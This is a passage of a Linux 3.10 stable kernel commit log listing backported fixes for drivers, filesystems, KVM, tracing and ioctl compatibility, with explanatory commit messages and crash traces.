for this is that wext schedules a worker to send out the messages, and the scheduling delay can cause the messages to get out to userspace in different order. To fix this, have wext register a netdevice notifier and flush out any pending messages when netdevice state changes. This fixes any ordering whenever the original message wasn't sent by a notifier itself. Reported-by: Beniamino Galvani Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b49456488e80388ae00a2b49b3e45100ee3db450 Author: Takashi Iwai Date: Mon Feb 29 18:01:12 2016 +0100 ASoC: wm8958: Fix enum ctl accesses in a wrong type commit d0784829ae3b0beeb69b476f017d5c8a2eb95198 upstream. "MBC Mode", "VSS Mode", "VSS HPF Mode" and "Enhanced EQ Mode" ctls in wm8958 codec driver are enum, while the current driver accesses wrongly via value.integer.value[]. They have to be via value.enumerated.item[] instead. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a46d6b4107159613f25c95ae31dbc42de44edc5b Author: Takashi Iwai Date: Mon Feb 29 18:01:15 2016 +0100 ASoC: wm8994: Fix enum ctl accesses in a wrong type commit 8019c0b37cd5a87107808300a496388b777225bf upstream. The DRC Mode like "AIF1DRC1 Mode" and EQ Mode like "AIF1.1 EQ Mode" in wm8994 codec driver are enum ctls, while the current driver accesses wrongly via value.integer.value[]. They have to be via value.enumerated.item[] instead. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8088a3238941d7372f8c4c7ce33bc859d0559ae3 Author: Steven Rostedt (Red Hat) Date: Wed Mar 9 11:58:41 2016 -0500 tracing: Fix check for cpu online when event is disabled commit dc17147de328a74bbdee67c1bf37d2f1992de756 upstream. Commit f37755490fe9b ("tracepoints: Do not trace when cpu is offline") added a check to make sure that tracepoints only get called when the cpu is online, as it uses rcu_read_lock_sched() for protection. Commit 3a630178fd5f3 ("tracing: generate RCU warnings even when tracepoints are disabled") added lockdep checks (including rcu checks) for events that are not enabled to catch possible RCU issues that would only be triggered if a trace event was enabled. Commit f37755490fe9b only stopped the warnings when the trace event was enabled but did not prevent warnings if the trace event was called when disabled. To fix this, the cpu online check is moved to where the condition is added to the trace event. This will place the cpu online check in all places that it may be used now and in the future. Fixes: f37755490fe9b ("tracepoints: Do not trace when cpu is offline") Fixes: 3a630178fd5f3 ("tracing: generate RCU warnings even when tracepoints are disabled") Reported-by: Sudeep Holla Tested-by: Sudeep Holla Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1e6046d28fc9e31c3c2604a962ad07b4c8c33da Author: Radim KrÄmář Date: Fri Mar 4 15:08:42 2016 +0100 KVM: VMX: disable PEBS before a guest entry commit 7099e2e1f4d9051f31bbfa5803adf954bb5d76ef upstream. Linux guests on Haswell (and also SandyBridge and Broadwell, at least) would crash if you decided to run a host command that uses PEBS, like perf record -e 'cpu/mem-stores/pp' -a This happens because KVM is using VMX MSR switching to disable PEBS, but SDM [2015-12] 18.4.4.4 Re-configuring PEBS Facilities explains why it isn't safe: When software needs to reconfigure PEBS facilities, it should allow a quiescent period between stopping the prior event counting and setting up a new PEBS event. The quiescent period is to allow any latent residual PEBS records to complete its capture at their previously specified buffer address (provided by IA32_DS_AREA). There might not be a quiescent period after the MSR switch, so a CPU ends up using host's MSR_IA32_DS_AREA to access an area in guest's memory. (Or MSR switching is just buggy on some models.) The guest can learn something about the host this way: If the guest doesn't map address pointed by MSR_IA32_DS_AREA, it results in #PF where we leak host's MSR_IA32_DS_AREA through CR2. After that, a malicious guest can map and configure memory where MSR_IA32_DS_AREA is pointing and can therefore get an output from host's tracing. This is not a critical leak as the host must initiate with PEBS tracing and I have not been able to get a record from more than one instruction before vmentry in vmx_vcpu_run() (that place has most registers already overwritten with guest's). We could disable PEBS just few instructions before vmentry, but disabling it earlier shouldn't affect host tracing too much. We also don't need to switch MSR_IA32_PEBS_ENABLE on VMENTRY, but that optimization isn't worth its code, IMO. (If you are implementing PEBS for guests, be sure to handle the case where both host and guest enable PEBS, because this patch doesn't.) Fixes: 26a4f3c08de4 ("perf/x86: disable PEBS on a guest entry.") Reported-by: Jiří OlÅ¡a Signed-off-by: Radim KrÄmář Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3829684d40b72d3596dcd5fa5b1c4a7250e6320e Author: Greg Kroah-Hartman Date: Wed Mar 9 15:32:23 2016 -0800 Linux 3.10.100 Signed-off-by: Pranav Vashi commit 6e06701a88fed7f9fe10a788eaa530ca8d7e0b60 Author: Greg Kroah-Hartman Date: Mon Mar 7 14:56:11 2016 -0800 Revert "drm/radeon: hold reference to fences in radeon_sa_bo_new" This reverts commit 8d5e1e5af0c667545c202e8f4051f77aa3bf31b7 which was commit f6ff4f67cdf8455d0a4226eeeaf5af17c37d05eb upstream. It breaks working hardware, a backported version might be provided at some unknown time in the future. Reported-by: Erik Andersen Acked-by: Christian König Cc: Nicolai Hähnle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a742307f4a2c4f695b25dea495380a377f01aeae Author: Richard Weinberger Date: Sun Feb 21 10:53:03 2016 +0100 ubi: Fix out of bounds write in volume update code commit e4f6daac20332448529b11f09388f1d55ef2084c upstream. ubi_start_leb_change() allocates too few bytes. ubi_more_leb_change_data() will write up to req->upd_bytes + ubi->min_io_size bytes. Signed-off-by: Richard Weinberger Reviewed-by: Boris Brezillon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12936767c5f880d103f64a0570502615994be9cf Author: Yegor Yefremov Date: Mon Feb 29 16:39:57 2016 +0100 USB: serial: option: add support for Quectel UC20 commit c0992d0f54847d0d1d85c60fcaa054f175ab1ccd upstream. Add support for Quectel UC20 and blacklist the QMI interface. Signed-off-by: Yegor Yefremov [johan: amend commit message ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6ad0f28500fbbffa5dfbd15973ab2ee624818eff Author: Daniele Palmas Date: Mon Feb 29 15:36:11 2016 +0100 USB: serial: option: add support for Telit LE922 PID 0x1045 commit 5deef5551c77e488922cc4bf4bc76df63be650d0 upstream. This patch adds support for 0x1045 PID of Telit LE922. Signed-off-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d54c9f8c60a4deb0be814353fdc519ebffa9eb63 Author: Vittorio Alfieri Date: Sun Feb 28 14:40:24 2016 +0100 USB: cp210x: Add ID for Parrot NMEA GPS Flight Recorder commit 3c4c615d70c8cbdc8ba8c79ed702640930652a79 upstream. The Parrot NMEA GPS Flight Recorder is a USB composite device consisting of hub, flash storage, and cp210x usb to serial chip. It is an accessory to the mass-produced Parrot AR Drone 2. The device emits standard NMEA messages which make the it compatible with NMEA compatible software. It was tested using gpsd version 3.11-3 as an NMEA interpreter and using the official Parrot Flight Recorder. Signed-off-by: Vittorio Alfieri Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 325d8ad5cb15803eb764a54b46d49d791e905c25 Author: Takashi Iwai Date: Sun Feb 28 11:36:14 2016 +0100 ALSA: timer: Fix broken compat timer user status ioctl commit 3a72494ac2a3bd229db941d51e7efe2f6ccd947b upstream. The timer user status compat ioctl returned the bogus struct used for 64bit architectures instead of the 32bit one. This patch addresses it to return the proper struct. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d701a2e5e683abf2278b1ff5ad4bf685abe7117f Author: Takashi Iwai Date: Mon Feb 29 14:32:42 2016 +0100 ALSA: hdspm: Fix zero-division commit c1099c3294c2344110085a38c50e478a5992b368 upstream. HDSPM driver contains a code issuing zero-division potentially in system sample rate ctl code. This patch fixes it by not processing a zero or invalid rate value as a divisor, as well as excluding the invalid value to be passed via the given ctl element. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3145d96f1babd3cd8faca8e822de48b293b8d266 Author: Takashi Iwai Date: Mon Feb 29 14:26:43 2016 +0100 ALSA: hdsp: Fix wrong boolean ctl value accesses commit eab3c4db193f5fcccf70e884de9a922ca2c63d80 upstream. snd-hdsp driver accesses enum item values (int) instead of boolean values (long) wrongly for some ctl elements. This patch fixes them. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44386eadcb1abb9011df0547ecf84574646673fa Author: Takashi Iwai Date: Mon Feb 29 14:25:16 2016 +0100 ALSA: hdspm: Fix wrong boolean ctl value accesses commit 537e48136295c5860a92138c5ea3959b9542868b upstream. snd-hdspm driver accesses enum item values (int) instead of boolean values (long) wrongly for some ctl elements. This patch fixes them. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5971173ca54811e31859704796fe91a34a1c7d24 Author: Takashi Iwai Date: Tue Mar 1 18:30:18 2016 +0100 ALSA: seq: oss: Don't drain at closing a client commit 197b958c1e76a575d77038cc98b4bebc2134279f upstream. The OSS sequencer client tries to drain the pending events at releasing. Unfortunately, as spotted by syzkaller fuzzer, this may lead to an unkillable process state when the event has been queued at the far future. Since the process being released can't be signaled any longer, it remains and waits for the echo-back event in that far future. Back to history, the draining feature was implemented at the time we misinterpreted POSIX definition for blocking file operation. Actually, such a behavior is superfluous at release, and we should just release the device as is instead of keeping it up forever. This patch just removes the draining call that may block the release for too long time unexpectedly. BugLink: http://lkml.kernel.org/r/CACT4Y+Y4kD-aBGj37rf-xBw9bH3GMU6P+MYg4W1e-s-paVD2pg@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c7e3c0f63f0aba7720756304110a7ee07ebe225 Author: Takashi Iwai Date: Sun Feb 28 11:41:47 2016 +0100 ALSA: timer: Fix ioctls for X32 ABI commit b24e7ad1fdc22177eb3e51584e1cfcb45d818488 upstream. X32 ABI takes the 64bit timespec, thus the timer user status ioctl becomes incompatible with IA32. This results in NOTTY error when the ioctl is issued. Meanwhile, this struct in X32 is essentially identical with the one in X86-64, so we can just bypassing to the existing code for this specific compat ioctl. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9f4ce1d786e39cfafbfa000e083e31bfd050a851 Author: Takashi Iwai Date: Sun Feb 28 11:28:08 2016 +0100 ALSA: rawmidi: Fix ioctls X32 ABI commit 2251fbbc1539f05b0b206b37a602d5776be37252 upstream. Like the previous fixes for ctl and PCM, we need a fix for incompatible X32 ABI regarding the rawmidi: namely, struct snd_rawmidi_status has the timespec, and the size and the alignment on X32 differ from IA32. This patch fixes the incompatible ioctl for X32. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db79bfef16244fa4ad2825e94e80d047b4642593 Author: Takashi Iwai Date: Sat Feb 27 17:52:42 2016 +0100 ALSA: ctl: Fix ioctls for X32 ABI commit 6236d8bb2afcfe71b88ecea554e0dc638090a45f upstream. The X32 ABI takes the same alignment like x86-64, and this may result in the incompatible struct size from ia32. Unfortunately, we hit this in some control ABI: struct snd_ctl_elem_value differs between them due to the position of 64bit variable array. This ends up with the unknown ioctl (ENOTTY) error. The fix is to add the compat entries for the new aligned struct. Reported-and-tested-by: Steven Newbury Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7775d5520da7aed93fa38ced8c7865624411aad6 Author: David Woodhouse Date: Mon Feb 1 14:04:46 2016 +0000 Fix directory hardlinks from deleted directories commit be629c62a603e5935f8177fd8a19e014100a259e upstream. When a directory is deleted, we don't take too much care about killing off all the dirents that belong to it — on the basis that on remount, the scan will conclude that the directory is dead anyway. This doesn't work though, when the deleted directory contained a child directory which was moved *out*. In the early stages of the fs build we can then end up with an apparent hard link, with the child directory appearing both in its true location, and as a child of the original directory which are this stage of the mount process we don't *yet* know is defunct. To resolve this, take out the early special-casing of the "directories shall not have hard links" rule in jffs2_build_inode_pass1(), and let the normal nlink processing happen for directories as well as other inodes. Then later in the build process we can set ic->pino_nlink to the parent inode#, as is required for directories during normal operaton, instead of the nlink. And complain only *then* about hard links which are still in evidence even after killing off all the unreachable paths. Reported-by: Liu Song Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a13023ffbf2a1fe8d922d0610b3dba28e1d9b3ca Author: David Woodhouse Date: Mon Feb 1 12:37:20 2016 +0000 jffs2: Fix page lock / f->sem deadlock commit 49e91e7079febe59a20ca885a87dd1c54240d0f1 upstream. With this fix, all code paths should now be obtaining the page lock before f->sem. Reported-by: Szabó Tamás Tested-by: Thomas Betker Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5e2e122789e1b97c96f39e0ce41f79cc7aa567d Author: Thomas Betker Date: Tue Nov 10 22:18:15 2015 +0100 Revert "jffs2: Fix lock acquisition order bug in jffs2_write_begin" commit 157078f64b8a9cd7011b6b900b2f2498df850748 upstream. This reverts commit 5ffd3412ae55 ("jffs2: Fix lock acquisition order bug in jffs2_write_begin"). The commit modified jffs2_write_begin() to remove a deadlock with jffs2_garbage_collect_live(), but this introduced new deadlocks found by multiple users. page_lock() actually has to be called before mutex_lock(&c->alloc_sem) or mutex_lock(&f->sem) because jffs2_write_end() and jffs2_readpage() are called with the page locked, and they acquire c->alloc_sem and f->sem, resp. In other words, the lock order in jffs2_write_begin() was correct, and it is the jffs2_garbage_collect_live() path that has to be changed. Revert the commit to get rid of the new deadlocks, and to clear the way for a better fix of the original deadlock. Reported-by: Deng Chao Reported-by: Ming Liu Reported-by: wangzaiwei Signed-off-by: Thomas Betker Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d595ad71c17bce6658c658eae56fa6ae1206c908 Author: Todd E Brandt Date: Wed Mar 2 16:05:29 2016 -0800 PM / sleep / x86: Fix crash on graph trace through x86 suspend commit 92f9e179a702a6adbc11e2fedc76ecd6ffc9e3f7 upstream. Pause/unpause graph tracing around do_suspend_lowlevel as it has inconsistent call/return info after it jumps to the wakeup vector. The graph trace buffer will otherwise become misaligned and may eventually crash and hang on suspend. To reproduce the issue and test the fix: Run a function_graph trace over suspend/resume and set the graph function to suspend_devices_and_enter. This consistently hangs the system without this fix. Signed-off-by: Todd Brandt Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87e2a0e106e2697b29860d36684068073dbb68e8 Author: Harvey Hunt Date: Wed Feb 24 15:16:43 2016 +0000 libata: Align ata_device's id on a cacheline commit 4ee34ea3a12396f35b26d90a094c75db95080baa upstream. The id buffer in ata_device is a DMA target, but it isn't explicitly cacheline aligned. Due to this, adjacent fields can be overwritten with stale data from memory on non coherent architectures. As a result, the kernel is sometimes unable to communicate with an ATA device. Fix this by ensuring that the id buffer is cacheline aligned. This issue is similar to that fixed by Commit 84bda12af31f ("libata: align ap->sector_buf"). Signed-off-by: Harvey Hunt Cc: linux-kernel@vger.kernel.org Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9277791af5886c733770c55da0fb8191fba255d9 Author: Arnd Bergmann Date: Thu Feb 11 14:16:27 2016 +0100 libata: fix HDIO_GET_32BIT ioctl commit 287e6611ab1eac76c2c5ebf6e345e04c80ca9c61 upstream. As reported by Soohoon Lee, the HDIO_GET_32BIT ioctl does not work correctly in compat mode with libata. I have investigated the issue further and found multiple problems that all appeared with the same commit that originally introduced HDIO_GET_32BIT handling in libata back in linux-2.6.8 and presumably also linux-2.4, as the code uses "copy_to_user(arg, &val, 1)" to copy a 'long' variable containing either 0 or 1 to user space. The problems with this are: * On big-endian machines, this will always write a zero because it stores the wrong byte into user space. * In compat mode, the upper three bytes of the variable are updated by the compat_hdio_ioctl() function, but they now contain uninitialized stack data. * The hdparm tool calling this ioctl uses a 'static long' variable to store the result. This means at least the upper bytes are initialized to zero, but calling another ioctl like HDIO_GET_MULTCOUNT would fill them with data that remains stale when the low byte is overwritten. Fortunately libata doesn't implement any of the affected ioctl commands, so this would only happen when we query both an IDE and an ATA device in the same command such as "hdparm -N -c /dev/hda /dev/sda" * The libata code for unknown reasons started using ATA_IOC_GET_IO32 and ATA_IOC_SET_IO32 as aliases for HDIO_GET_32BIT and HDIO_SET_32BIT, while the ioctl commands that were added later use the normal HDIO_* names. This is harmless but rather confusing. This addresses all four issues by changing the code to use put_user() on an 'unsigned long' variable in HDIO_GET_32BIT, like the IDE subsystem does, and by clarifying the names of the ioctl commands. Signed-off-by: Arnd Bergmann Reported-by: Soohoon Lee Tested-by: Soohoon Lee Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 947214bf0820e59dce17f1de1f3bf3ed8a97f568 Author: Timothy Pearson Date: Fri Feb 26 15:29:32 2016 -0600 drm/ast: Fix incorrect register check for DRAM width commit 2d02b8bdba322b527c5f5168ce1ca10c2d982a78 upstream. During DRAM initialization on certain ASpeed devices, an incorrect bit (bit 10) was checked in the "SDRAM Bus Width Status" register to determine DRAM width. Query bit 6 instead in accordance with the Aspeed AST2050 datasheet v1.05. Signed-off-by: Timothy Pearson Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c24cae22af0785c3c5957dafec6d43fb2d3c53ac Author: Andy Lutomirski Date: Wed Feb 24 12:18:49 2016 -0800 x86/entry/compat: Add missing CLAC to entry_INT80_32 commit 3d44d51bd339766f0178f0cf2e8d048b4a4872aa upstream. This doesn't seem to fix a regression -- I don't think the CLAC was ever there. I double-checked in a debugger: entries through the int80 gate do not automatically clear AC. Stable maintainers: I can provide a backport to 4.3 and earlier if needed. This needs to be backported all the way to 3.10. Reported-by: Brian Gerst Signed-off-by: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: 63bcff2a307b ("x86, smap: Add STAC and CLAC instructions to control user space access") Link: http://lkml.kernel.org/r/b02b7e71ae54074be01fc171cbd4b72517055c0e.1456345086.git.luto@kernel.org Signed-off-by: Ingo Molnar [ kamal: backport to 3.10 through 3.19-stable: file rename; context ] Signed-off-by: Kamal Mostafa Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fbf2018492be06ef29703dafbb71a50703dda5a Author: Pavel Shilovsky Date: Sat Feb 27 11:58:18 2016 +0300 CIFS: Fix SMB2+ interim response processing for read requests commit 6cc3b24235929b54acd5ecc987ef11a425bd209e upstream. For interim responses we only need to parse a header and update a number credits. Now it is done for all SMB2+ command except SMB2_READ which is wrong. Fix this by adding such processing. Signed-off-by: Pavel Shilovsky Tested-by: Shirish Pargaonkar Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 429114e5da3ab89244ef6bc284763ed82c96c038 Author: Borislav Petkov Date: Tue Dec 1 15:52:36 2015 +0100 EDAC, mc_sysfs: Fix freeing bus' name commit 12e26969b32c79018165d52caff3762135614aa1 upstream. I get the splat below when modprobing/rmmoding EDAC drivers. It happens because bus->name is invalid after bus_unregister() has run. The Code: section below corresponds to: .loc 1 1108 0 movq 672(%rbx), %rax # mci_1(D)->bus, mci_1(D)->bus .loc 1 1109 0 popq %rbx # .loc 1 1108 0 movq (%rax), %rdi # _7->name, jmp kfree # and %rax has some funky stuff 2030203020312030 which looks a lot like something walked over it. Fix that by saving the name ptr before doing stuff to string it points to. general protection fault: 0000 [#1] SMP Modules linked in: ... CPU: 4 PID: 10318 Comm: modprobe Tainted: G I EN 3.12.51-11-default+ #48 Hardware name: HP ProLiant DL380 G7, BIOS P67 05/05/2011 task: ffff880311320280 ti: ffff88030da3e000 task.ti: ffff88030da3e000 RIP: 0010:[] [] edac_unregister_sysfs+0x22/0x30 [edac_core] RSP: 0018:ffff88030da3fe28 EFLAGS: 00010292 RAX: 2030203020312030 RBX: ffff880311b4e000 RCX: 000000000000095c RDX: 0000000000000001 RSI: ffff880327bb9600 RDI: 0000000000000286 RBP: ffff880311b4e750 R08: 0000000000000000 R09: ffffffff81296110 R10: 0000000000000400 R11: 0000000000000000 R12: ffff88030ba1ac68 R13: 0000000000000001 R14: 00000000011b02f0 R15: 0000000000000000 FS: 00007fc9bf8f5700(0000) GS:ffff8801a7c40000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000403c90 CR3: 000000019ebdf000 CR4: 00000000000007e0 Stack: Call Trace: i7core_unregister_mci.isra.9 i7core_remove pci_device_remove __device_release_driver driver_detach bus_remove_driver pci_unregister_driver i7core_exit SyS_delete_module system_call_fastpath 0x7fc9bf426536 Code: 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 53 48 89 fb e8 52 2a 1f e1 48 8b bb a0 02 00 00 e8 46 59 1f e1 48 8b 83 a0 02 00 00 5b <48> 8b 38 e9 26 9a fe e0 66 0f 1f 44 00 00 66 66 66 66 90 48 8b RIP [] edac_unregister_sysfs+0x22/0x30 [edac_core] RSP Signed-off-by: Borislav Petkov Cc: Mauro Carvalho Chehab Fixes: 7a623c039075 ("edac: rewrite the sysfs code to use struct device") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e21d67d23d96407fe0ba3bc35ea9c80c0a79ca28 Author: Jeff Layton Date: Thu Jan 7 16:38:10 2016 -0500 locks: fix unlock when fcntl_setlk races with a close commit 7f3697e24dc3820b10f445a4a7d914fc356012d1 upstream. Dmitry reported that he was able to reproduce the WARN_ON_ONCE that fires in locks_free_lock_context when the flc_posix list isn't empty. The problem turns out to be that we're basically rebuilding the file_lock from scratch in fcntl_setlk when we discover that the setlk has raced with a close. If the l_whence field is SEEK_CUR or SEEK_END, then we may end up with fl_start and fl_end values that differ from when the lock was initially set, if the file position or length of the file has changed in the interim. Fix this by just reusing the same lock request structure, and simply override fl_type value with F_UNLCK as appropriate. That ensures that we really are unlocking the lock that was initially set. While we're there, make sure that we do pop a WARN_ON_ONCE if the removal ever fails. Also return -EBADF in this event, since that's what we would have returned if the close had happened earlier. Cc: Alexander Viro Fixes: c293621bbf67 (stale POSIX lock handling) Reported-by: Dmitry Vyukov Signed-off-by: Jeff Layton Acked-by: "J. Bruce Fields" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f6eb15945bbf0424b5ec4a3fd9412d15991b3ee Author: Greg Kroah-Hartman Date: Thu Mar 3 15:07:51 2016 -0800 Linux 3.10.99 Signed-off-by: Pranav Vashi commit b99b3632678076e14265b702001b74deac151a5c Author: Konrad Rzeszutek Wilk Date: Thu Feb 11 16:10:26 2016 -0500 xen/pcifront: Fix mysterious crashes when NUMA locality information was extracted. commit 4d8c8bd6f2062c9988817183a91fe2e623c8aa5e upstream. Occasionaly PV guests would crash with: pciback 0000:00:00.1: Xen PCI mapped GSI0 to IRQ16 BUG: unable to handle kernel paging request at 0000000d1a8c0be0 .. snip.. ] find_next_bit+0xb/0x10 [] cpumask_next_and+0x22/0x40 [] pci_device_probe+0xb8/0x120 [] ? driver_sysfs_add+0x77/0xa0 [] driver_probe_device+0x1a4/0x2d0 [] ? pci_match_device+0xdd/0x110 [] __device_attach_driver+0xa7/0xb0 [] ? __driver_attach+0xa0/0xa0 [] bus_for_each_drv+0x62/0x90 [] __device_attach+0xbd/0x110 [] device_attach+0xb/0x10 [] pci_bus_add_device+0x3c/0x70 [] pci_bus_add_devices+0x38/0x80 [] pcifront_scan_root+0x13e/0x1a0 [] pcifront_backend_changed+0x262/0x60b [] ? xenbus_gather+0xd6/0x160 [] ? put_object+0x2f/0x50 [] xenbus_otherend_changed+0x9d/0xa0 [] backend_changed+0xe/0x10 [] xenwatch_thread+0xc8/0x190 [] ? woken_wake_function+0x10/0x10 which was the result of two things: When we call pci_scan_root_bus we would pass in 'sd' (sysdata) pointer which was an 'pcifront_sd' structure. However in the pci_device_add it expects that the 'sd' is 'struct sysdata' and sets the dev->node to what is in sd->node (offset 4): set_dev_node(&dev->dev, pcibus_to_node(bus)); __pcibus_to_node(const struct pci_bus *bus) { const struct pci_sysdata *sd = bus->sysdata; return sd->node; } However our structure was pcifront_sd which had nothing at that offset: struct pcifront_sd { int domain; /* 0 4 */ /* XXX 4 bytes hole, try to pack */ struct pcifront_device * pdev; /* 8 8 */ } That is an hole - filled with garbage as we used kmalloc instead of kzalloc (the second problem). This patch fixes the issue by: 1) Use kzalloc to initialize to a well known state. 2) Put 'struct pci_sysdata' at the start of 'pcifront_sd'. That way access to the 'node' will access the right offset. Signed-off-by: Konrad Rzeszutek Wilk Reviewed-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f1f1500fbcf8442ad2a79699c97d79ddc7250d63 Author: Al Viro Date: Sat Feb 27 19:17:33 2016 -0500 do_last(): don't let a bogus return value from ->open() et.al. to confuse us commit c80567c82ae4814a41287618e315a60ecf513be6 upstream. ... into returning a positive to path_openat(), which would interpret that as "symlink had been encountered" and proceed to corrupt memory, etc. It can only happen due to a bug in some ->open() instance or in some LSM hook, etc., so we report any such event *and* make sure it doesn't trick us into further unpleasantness. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10624acf81de54bb0848a21b930ed8913b88a6c9 Author: Simon Guinot Date: Thu Sep 10 00:15:18 2015 +0200 kernel/resource.c: fix muxed resource handling in __request_region() commit 59ceeaaf355fa0fb16558ef7c24413c804932ada upstream. In __request_region, if a conflict with a BUSY and MUXED resource is detected, then the caller goes to sleep and waits for the resource to be released. A pointer on the conflicting resource is kept. At wake-up this pointer is used as a parent to retry to request the region. A first problem is that this pointer might well be invalid (if for example the conflicting resource have already been freed). Another problem is that the next call to __request_region() fails to detect a remaining conflict. The previously conflicting resource is passed as a parameter and __request_region() will look for a conflict among the children of this resource and not at the resource itself. It is likely to succeed anyway, even if there is still a conflict. Instead, the parent of the conflicting resource should be passed to __request_region(). As a fix, this patch doesn't update the parent resource pointer in the case we have to wait for a muxed region right after. Reported-and-tested-by: Vincent Pelletier Signed-off-by: Simon Guinot Tested-by: Vincent Donnefort Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20c8278c5742a8b13ec0c103e77d840f608715d4 Author: Stefan Hajnoczi Date: Thu Feb 18 18:55:54 2016 +0000 sunrpc/cache: fix off-by-one in qword_get() commit b7052cd7bcf3c1478796e93e3dff2b44c9e82943 upstream. The qword_get() function NUL-terminates its output buffer. If the input string is in hex format \xXXXX... and the same length as the output buffer, there is an off-by-one: int qword_get(char **bpp, char *dest, int bufsize) { ... while (len < bufsize) { ... *dest++ = (h << 4) | l; len++; } ... *dest = '\0'; return len; } This patch ensures the NUL terminator doesn't fall outside the output buffer. Signed-off-by: Stefan Hajnoczi Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1715f6e1ab24fc393f13fa3ce61df63529e09f5 Author: Steven Rostedt (Red Hat) Date: Wed Feb 24 09:04:24 2016 -0500 tracing: Fix showing function event in available_events commit d045437a169f899dfb0f6f7ede24cc042543ced9 upstream. The ftrace:function event is only displayed for parsing the function tracer data. It is not used to enable function tracing, and does not include an "enable" file in its event directory. Originally, this event was kept separate from other events because it did not have a ->reg parameter. But perf added a "reg" parameter for its use which caused issues, because it made the event available to functions where it was not compatible for. Commit 9b63776fa3ca9 "tracing: Do not enable function event with enable" added a TRACE_EVENT_FL_IGNORE_ENABLE flag that prevented the function event from being enabled by normal trace events. But this commit missed keeping the function event from being displayed by the "available_events" directory, which is used to show what events can be enabled by set_event. One documented way to enable all events is to: cat available_events > set_event But because the function event is displayed in the available_events, this now causes an INVALID error: cat: write error: Invalid argument Reported-by: Chunyu Hu Fixes: 9b63776fa3ca9 "tracing: Do not enable function event with enable" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9cd9251088bbf1549b1d5090de75830b402cb4ed Author: Christian Borntraeger Date: Fri Feb 19 13:11:46 2016 +0100 KVM: async_pf: do not warn on page allocation failures commit d7444794a02ff655eda87e3cc54e86b940e7736f upstream. In async_pf we try to allocate with NOWAIT to get an element quickly or fail. This code also handle failures gracefully. Lets silence potential page allocation failures under load. qemu-system-s39: page allocation failure: order:0,mode:0x2200000 [...] Call Trace: ([<00000000001146b8>] show_trace+0xf8/0x148) [<000000000011476a>] show_stack+0x62/0xe8 [<00000000004a36b8>] dump_stack+0x70/0x98 [<0000000000272c3a>] warn_alloc_failed+0xd2/0x148 [<000000000027709e>] __alloc_pages_nodemask+0x94e/0xb38 [<00000000002cd36a>] new_slab+0x382/0x400 [<00000000002cf7ac>] ___slab_alloc.constprop.30+0x2dc/0x378 [<00000000002d03d0>] kmem_cache_alloc+0x160/0x1d0 [<0000000000133db4>] kvm_setup_async_pf+0x6c/0x198 [<000000000013dee8>] kvm_arch_vcpu_ioctl_run+0xd48/0xd58 [<000000000012fcaa>] kvm_vcpu_ioctl+0x372/0x690 [<00000000002f66f6>] do_vfs_ioctl+0x3be/0x510 [<00000000002f68ec>] SyS_ioctl+0xa4/0xb8 [<0000000000781c5e>] system_call+0xd6/0x264 